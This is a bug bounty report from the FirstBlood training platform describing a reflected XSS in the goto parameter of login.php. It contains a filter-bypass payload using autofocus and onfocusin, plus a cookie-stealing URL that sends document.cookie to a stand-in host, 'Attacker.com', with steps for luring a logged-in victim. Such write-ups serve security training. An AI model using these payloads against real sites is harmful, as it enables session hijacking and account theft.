FirstBlood-#926Reflective xss on login.php by goto paramter
This issue was discovered on FirstBlood v2.0.0 (issues patched)



On 2021-10-30, newrouge Level 3 reported:

Hey, I found that hidden paramter goto= is vulnerable to reflective xss. It reflects the user input in response. Although keywords like alert, onfocus and brackets were blocked but it can still be bypassed.

  • As i have mentioned in report (https://www.bugbountyhunter.com/hackevents/report?id=478), that goto parameter is vulnerable to xss by javascript:confirm injection. Which will execute after victim login through the dashboard.

  • While it is also possible to inject HTML content in page and execute xss. This way victims doesn't need to log in if he is already logged in.

  • e.g. Send this URL (https://e93b0208aa41-newrouge.a.firstbloodhackers.com/login.php?goto=hello" autofocus onfocusin="confirm1`">).

  • You will see a xss pop ups and HTML content is injected into page.

  • It is crucial to remove type=hidden from injected tags, otherwise payload don't work.

  • e.g if you use paylod

    hello" autofocus onfocusin="window.location.href=`http://Attacker.com/?${document.cookie}`" new="

  • It will become ,

    and it won't work anymore.

  • let's steal victim cookies with this

Steps:

  1. Login as a doctor in tab.
  2. Now send this URL to victim( load url in same tab) https://e93b0208aa41-newrouge.a.firstbloodhackers.com/login.php?goto=hello%22%20autofocus%20onfocusin=%22window.location.href=`http://Attacker.com/?${document.cookie}`%22%3E
  • Which have a payload like this hello" autofocus onfocusin="window.location.href=`http://Attacker.com/?${document.cookie}`">

  • After rendering it becomes

  1. Now victim is redirected to attacker's server with cookies, and didn't have to login.

Thank you

newrouge

P3 Medium

Endpoint: /login.php

Parameter: ?goto

Payload: hello" autofocus onfocusin="window.location.href=`http://Attacker.com/?${document.cookie}`">


FirstBlood ID: 26
Vulnerability Type: Reflective XSS

The developers thought they had fixed ?goto= when reflected in an input tag on login.php from a similar bug (ID 39), but because this endpoint uses legacy code their changes were not applied here and thus the XSS was forgotten.